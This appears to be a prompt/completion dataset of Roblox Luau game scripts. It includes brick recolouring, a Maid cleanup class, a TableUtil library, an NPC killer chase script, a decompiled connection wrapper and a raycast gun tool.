prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--------AUDIENCE BACK LEFT--------
|
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(106)
|
--- Add a task to clean up. Tasks given to a maid will be cleaned when
-- maid[index] is set to a different value.
-- @usage
-- Maid[key] = (function) Adds a task to perform
-- Maid[key] = (event connection) Manages an event connection
-- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method
-- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object,
-- it is destroyed.
|
function Maid:__newindex(index, newTask)
if Maid[index] ~= nil then
error(("'%s' is reserved"):format(tostring(index)), 2)
end
local tasks = self._tasks
local oldTask = tasks[index]
if oldTask == newTask then
return
end
tasks[index] = newTask
if oldTask then
if type(oldTask) == "function" then
oldTask()
elseif typeof(oldTask) == "RBXScriptConnection" then
oldTask:Disconnect()
elseif oldTask.Destroy then
oldTask:Destroy()
elseif oldTask.destroy then
oldTask:destroy()
end
end
end
|
--[[
TableUtil.Copy(tbl: table): table
TableUtil.CopyShallow(tbl: table): table
TableUtil.Sync(tbl: table, template: table): void
TableUtil.FastRemove(tbl: table, index: number): void
TableUtil.FastRemoveFirstValue(tbl: table, value: any): (boolean, number)
TableUtil.Map(tbl: table, callback: (value: any) -> any): table
TableUtil.Filter(tbl: table, callback: (value: any) -> boolean): table
TableUtil.Reduce(tbl: table, callback: (accum: number, value: number) -> number [, initialValue: number]): number
TableUtil.Assign(target: table, ...sources: table): table
TableUtil.Extend(tbl: table, extension: table): table
TableUtil.Reverse(tbl: table): table
TableUtil.Shuffle(tbl: table [, rng: Random]): table
TableUtil.Sample(tbl: table, sampleSize: number, [, rng: Random]): table
TableUtil.Flat(tbl: table [, maxDepth: number = 1]): table
TableUtil.FlatMap(tbl: callback: (value: any) -> table): table
TableUtil.Keys(tbl: table): table
TableUtil.Find(tbl: table, callback: (value: any) -> boolean): (any, number)
TableUtil.Every(tbl: table, callback: (value: any) -> boolean): boolean
TableUtil.Some(tbl: table, callback: (value: any) -> boolean): boolean
TableUtil.IsEmpty(tbl: table): boolean
TableUtil.EncodeJSON(tbl: table): string
TableUtil.DecodeJSON(json: string): table
--]]
|
type Table = {any}
type MapPredicate = (any, any, Table) -> any
type FilterPredicate = (any, any, Table) -> boolean
type ReducePredicate = (number, any, any, Table) -> number
type FindCallback = (any, any, Table) -> boolean
local TableUtil = {}
local HttpService = game:GetService("HttpService")
local rng = Random.new()
local function CopyTable(t: Table): Table
assert(type(t) == "table", "First argument must be a table")
local function Copy(tbl)
local tCopy = table.create(#tbl)
for k,v in pairs(tbl) do
if type(v) == "table" then
tCopy[k] = Copy(v)
else
tCopy[k] = v
end
end
return tCopy
end
return Copy(t)
end
local function CopyTableShallow(t: Table): Table
local tCopy = table.create(#t)
if #t > 0 then
table.move(t, 1, #t, 1, tCopy)
else
for k,v in pairs(t) do tCopy[k] = v end
end
return tCopy
end
local function Sync(srcTbl: Table, templateTbl: Table): Table
assert(type(srcTbl) == "table", "First argument must be a table")
assert(type(templateTbl) == "table", "Second argument must be a table")
local tbl = CopyTableShallow(srcTbl)
-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
for k,v in pairs(tbl) do
local vTemplate = templateTbl[k]
-- Remove keys not within template:
if vTemplate == nil then
tbl[k] = nil
-- Synchronize data types:
elseif type(v) ~= type(vTemplate) then
if type(vTemplate) == "table" then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
-- Synchronize sub-tables:
elseif type(v) == "table" then
tbl[k] = Sync(v, vTemplate)
end
end
-- Add any missing keys:
for k,vTemplate in pairs(templateTbl) do
local v = tbl[k]
if v == nil then
if type(vTemplate) == "table" then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
end
end
return tbl
end
local function FastRemove(t: Table, i: number)
local n = #t
t[i] = t[n]
t[n] = nil
end
local function FastRemoveFirstValue(t: Table, v: any): (boolean, number?)
local index: number? = table.find(t, v)
if index then
FastRemove(t, index)
return true, index
end
return false, nil
end
local function Map(t: Table, f: MapPredicate): Table
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
local newT = table.create(#t)
for k,v in pairs(t) do
newT[k] = f(v, k, t)
end
return newT
end
local function Filter(t: Table, f: FilterPredicate): Table
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
local newT = table.create(#t)
if #t > 0 then
local n = 0
for i,v in ipairs(t) do
if f(v, i, t) then
n += 1
newT[n] = v
end
end
else
for k,v in pairs(t) do
if f(v, k, t) then
newT[k] = v
end
end
end
return newT
end
local function Reduce(t: Table, f: ReducePredicate, init: number?): number
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
assert(init == nil or type(init) == "number", "Third argument must be a number or nil")
local result = init or 0
for k,v in pairs(t) do
result = f(result, v, k, t)
end
return result
end
local function Assign(target: Table, ...: Table): Table
local tbl = CopyTableShallow(target)
for _,src in ipairs({...}) do
for k,v in pairs(src) do
tbl[k] = v
end
end
return tbl
end
local function Extend(target: Table, extension: Table): Table
local tbl = CopyTableShallow(target)
for _,v in ipairs(extension) do
table.insert(tbl, v)
end
return tbl
end
local function Reverse(tbl: Table): Table
local n = #tbl
local tblRev = table.create(n)
for i = 1,n do
tblRev[i] = tbl[n - i + 1]
end
return tblRev
end
local function Shuffle(tbl: Table, rngOverride: Random?): Table
assert(type(tbl) == "table", "First argument must be a table")
local shuffled = CopyTableShallow(tbl)
local random = rngOverride or rng
for i = #tbl, 2, -1 do
local j = random:NextInteger(1, i)
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
end
return shuffled
end
local function Sample(tbl: Table, size: number, rngOverride: Random?): Table
assert(type(tbl) == "table", "First argument must be a table")
assert(type(size) == "number", "Second argument must be a number")
local shuffled = CopyTableShallow(tbl)
local sample = table.create(size)
local random = rngOverride or rng
local low = math.clamp(#tbl - size, 2, #tbl)
for i = #tbl, low, -1 do
local j = random:NextInteger(1, i)
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
end
table.move(shuffled, 1, size, 1, sample)
return sample
end
local function Flat(tbl: Table, depth: number?): Table
local maxDepth: number = depth or 1
local flatTbl = table.create(#tbl)
local function Scan(t: Table, d: number)
for _,v in ipairs(t) do
if type(v) == "table" and d < maxDepth then
Scan(v, d + 1)
else
table.insert(flatTbl, v)
end
end
end
Scan(tbl, 0)
return flatTbl
end
local function FlatMap(tbl: Table, callback: MapPredicate): Table
return Flat(Map(tbl, callback))
end
local function Keys(tbl: Table): Table
local keys = table.create(#tbl)
for k in pairs(tbl) do
table.insert(keys, k)
end
return keys
end
local function Find(tbl: Table, callback: FindCallback): (any?, any?)
for k,v in pairs(tbl) do
if callback(v, k, tbl) then
return v, k
end
end
return nil, nil
end
local function Every(tbl: Table, callback: FindCallback): boolean
for k,v in pairs(tbl) do
if not callback(v, k, tbl) then
return false
end
end
return true
end
local function Some(tbl: Table, callback: FindCallback): boolean
for k,v in pairs(tbl) do
if callback(v, k, tbl) then
return true
end
end
return false
end
type IteratorFunc = (t: Table, k: any) -> (any, any)
local function Zip(...): (IteratorFunc, Table, any)
assert(select("#", ...) > 0, "Must supply at least 1 table")
local function ZipIteratorArray(all: Table, k: number)
k += 1
local values = {}
for i,t in ipairs(all) do
local v = t[k]
if v ~= nil then
values[i] = v
else
return nil, nil
end
end
return k, values
end
local function ZipIteratorMap(all: Table, k: any)
local values = {}
for i,t in ipairs(all) do
local v = next(t, k)
if v ~= nil then
values[i] = v
else
return nil, nil
end
end
return k, values
end
local all = {...}
if #all[1] > 0 then
return ZipIteratorArray, all, 0
else
return ZipIteratorMap, all, nil
end
end
local function IsEmpty(tbl)
return next(tbl) == nil
end
local function EncodeJSON(tbl: any): string
return HttpService:JSONEncode(tbl)
end
local function DecodeJSON(str: string): any
return HttpService:JSONDecode(str)
end
TableUtil.Copy = CopyTable
TableUtil.CopyShallow = CopyTableShallow
TableUtil.Sync = Sync
TableUtil.FastRemove = FastRemove
TableUtil.FastRemoveFirstValue = FastRemoveFirstValue
TableUtil.Map = Map
TableUtil.Filter = Filter
TableUtil.Reduce = Reduce
TableUtil.Assign = Assign
TableUtil.Extend = Extend
TableUtil.Reverse = Reverse
TableUtil.Shuffle = Shuffle
TableUtil.Sample = Sample
TableUtil.Flat = Flat
TableUtil.FlatMap = FlatMap
TableUtil.Keys = Keys
TableUtil.Find = Find
TableUtil.Every = Every
TableUtil.Some = Some
TableUtil.Zip = Zip
TableUtil.IsEmpty = IsEmpty
TableUtil.EncodeJSON = EncodeJSON
TableUtil.DecodeJSON = DecodeJSON
return TableUtil
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(4.5);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=20;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {
Connected = true
};
v1.__index = v1;
function v1.Disconnect(p1)
if p1.Connected then
p1.Connected = false;
p1.Connection:Disconnect();
end;
end;
function v1._new(p2)
return setmetatable({
Connection = p2
}, v1);
end;
function v1.__tostring(p3)
return "RbxScriptConnection<" .. tostring(p3.Connected) .. ">";
end;
return v1;
|
--[[local gui = Instance.new("ScreenGui")
local bg = Instance.new("Frame",gui)
local bar = Instance.new("Frame",bg)
local bvl = Instance.new("ImageLabel", bg)
bvl.Name = "Bevel"
bvl.BackgroundTransparency = 1
bvl.Image = "http://www.roblox.com/asset/?id=56852431"
bvl.Size = UDim2.new(1,0,1,0)
bg.Name = "Back"
bar.Name = "Charge"
bar.BackgroundColor3 = Color3.new(200/255,0/255,0/255)
bg.BackgroundColor3 = Color3.new(200/255,200/255,200/255)
bg.Size = UDim2.new(0,10,0,-100)
bg.Position = UDim2.new(0,5,0,500)
bar.Size = UDim2.new(0,4,-1,0)
bar.Position = UDim2.new(0,3,1,0)
ggui = gui:Clone()
ggui.Name = "GunGui"
ggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]
|
GroupID = 9999
function AntiGH(char1,char2)
if GH then
local plyr1 = game.Players:findFirstChild(char1.Name)
local plyr2 = game.Players:findFirstChild(char2.Name)
if plyr1 and plyr2 then
if plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then
return false
end
end
return true
elseif not GH then
return true
end
end
MaxDist = 1000
function RayCast(Start,End,Ignore)
if WallShoot then
ray1 = Ray.new(Start, End.unit * 999.999)
local Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore)
ray2 = Ray.new(TempPos, End.unit * 999.999)
local Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1)
return Part1, Part2, EndPos
elseif not WallShoot then
ray = Ray.new(Start, End.unit * 999.999)
return Workspace:FindPartOnRay(ray,Ignore)
end
end
function DmgPlr(Part)
if Part ~= nil then
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = game.Players:findFirstChild(script.Parent.Parent.Name)
local hum = Part.Parent:findFirstChild("Humanoid")
local hathum = Part.Parent.Parent:findFirstChild("Humanoid")
local hat = Part.Parent
if hathum ~= nil and hat:IsA("Hat") and AntiGH(hathum.Parent, script.Parent.Parent) then
hathum:TakeDamage(Damage/1)
Part.Parent = game.Workspace
Part.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)))
hat:Remove()
c.Parent = hathum
game.Debris:AddItem(c,1.5)
elseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then
if Part.Name == "Head" then
hum:TakeDamage(Damage*1.3)
end
hum:TakeDamage(Damage)
c.Parent = hum
game.Debris:AddItem(c,1.5)
end
end
end
function onButton1Down(mouse)
if script.Parent.Ammo.Value == 0 then
else
if GunType == 0 then
if (not enabled) then return end
enabled = false
LaserShoot(mouse)
if Flash then
script.Parent.Barrel.Light.Light.Visible = true
end
script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1
wait(0.01)
if Flash then
script.Parent.Barrel.Light.Light.Visible = false
end
wait(1/SPS)
enabled = true
elseif GunType == 1 then
automatichold = true
while automatichold == true and script.Parent.Ammo.Value ~= 0 do wait()
if (not enabled) then return end
if script.Parent.Parent:findFirstChild("Humanoid").Health == 0 then script.Parent:Remove() end
enabled = false
LaserShoot(mouse)
if Flash then
script.Parent.Barrel.Light.Light.Visible = true
end
script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1
wait(0.01)
if Flash then
script.Parent.Barrel.Light.Light.Visible = false
end
wait(1/SPS)
enabled = true
end
end
end
end
function LaserShoot(mouse)
hit = mouse.Hit.p
local StartPos = script.Parent.Barrel.CFrame.p
local rv = (StartPos-hit).magnitude/(Recoil * 20)
local rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv))
aim = hit + rcl
local P = Instance.new("Part")
P.Name = "Bullet"
P.formFactor = 3
P.BrickColor = BrickColor.new(BulletColor)
P.Size = Vector3.new(1,1,1)
P.Anchored = true
P.CanCollide = false
P.Transparency = 0.5
P.Parent = script.Parent.Parent
local m = Instance.new("CylinderMesh")
m.Name = "Mesh"
m.Parent = P
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = game.Players:findFirstChild(script.Parent.Parent.Name)
pewsound = script:FindFirstChild("Fire")
if pewsound then
pewsound:Play()
end --Brick created. Moving on to next part
local SPos = script.Parent.Barrel.CFrame.p
if WallShoot then
local Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)
DmgPlr(Part1)
DmgPlr(Part2)
if Part1 and Part2 then
local enddist = (EndPos-SPos).magnitude
P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.04,enddist,.04)
else
P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.04,MaxDist,.04)
end
elseif not WallShoot then
local Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)
DmgPlr(Part)
if Part then
local dist = (Pos-SPos).magnitude
P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.1,dist,.1)
else
P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.1,MaxDist,.1)
end
end
game.Debris:AddItem(P,.1)
end
